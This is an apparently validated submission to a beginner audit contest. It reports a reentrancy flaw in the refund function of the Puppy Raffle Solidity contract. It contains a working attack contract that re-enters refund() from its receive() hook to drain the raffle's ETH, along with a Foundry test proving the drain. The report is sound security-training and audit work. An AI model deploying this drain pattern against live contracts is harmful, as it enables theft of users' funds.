First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in Refund Function

Zurriken

Summary

The refund function is vulnerable to a reentrancy attack that can completely drain the protocol of its funds harming both the users and the protocol itself.

Vulnerability Details

In classic reentrancy fashion, the refund(uint256 playerIndex) function that starts on line 96 makes external interactions before updating the contract's state variables. This allows a bad actor contract to repeatedly withdraw ETH until the PuppyRaffle contract balance is completely empty.
This attack can be reproduced in the project repo by adding the following contract into PuppyRaffle.sol

contract ReentrancyAttack {
​
uint256 playerIndex;
PuppyRaffle raffle;
​
constructor(address _raffleAddress) {
// Initialize using puppyRaffle address to interact with the correct contract
raffle = PuppyRaffle(_raffleAddress);
}
​
function attack() public {
// Create address array and enter this contract into the raffle
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: raffle.entranceFee()}(players);
// Get player index to know which index to refund
playerIndex = raffle.getActivePlayerIndex(address(this));
// Refund using player index
raffle.refund(playerIndex);
}
​
receive() external payable {
// Once ether is received from raffle refund, if the raffle contract still
// has ether, reenter the contract and refund again
if (address(raffle).balance > 0) {
raffle.refund(playerIndex);
}
}
​
}

Then, update line 6 of PuppyRaffleTest.t.sol to

import {PuppyRaffle, ReentrancyAttack} from "../src/PuppyRaffle.sol";

And finally add the following test to PuppyRaffleTest.t.sol

function testReentrancy() public {
// Deploying the bad actor contract which will perform the reentrancy attack
ReentrancyAttack reentrancy = new ReentrancyAttack(address(puppyRaffle));
​
// Creating an address array to enter players
address[] memory players = new address[](3);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
​
// Entering the 3 players in one transaction
puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
​
// Ensuring the protocol has the funds from 3 player entries
assertEq(address(puppyRaffle).balance, entranceFee * 3);
​
// Funding the bad actor contract with one entrance fees worth of ETH
vm.deal(address(reentrancy), entranceFee);
​
// Performing the attack from the bad actor contract
reentrancy.attack();
​
// Confirming that the protocol has lost all its funds
// despite having at least one active player
assertEq(puppyRaffle.players(0), playerOne);
assertEq(address(puppyRaffle).balance, 0);
​
// Unneccessary but confirming that the attack contract has
// 4 entrance fees worth of eth
assertEq(address(reentrancy).balance, entranceFee * 4);
}

Impact

Reentrancy is a very common and easy to perform hack, and will most certainly happen if it can be exploited. This attack will drain the protocol of all of its funds. This harms both the protocol, and all the users who put their ETH into the protocol.

Tools Used

Manual Review

Recommendations

Follow the CEI (Checks, Effects, Interactions) pattern when implementing functions.
Checks - Check to ensure proper user inputs.
Effects - Make updates to the contracts' state
Interactions - Interact with external contracts/EOAs

Also remember that it is important to keep the entire protocol invariants (Things that should always hold true) in mind when designing and implementing functions.

Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.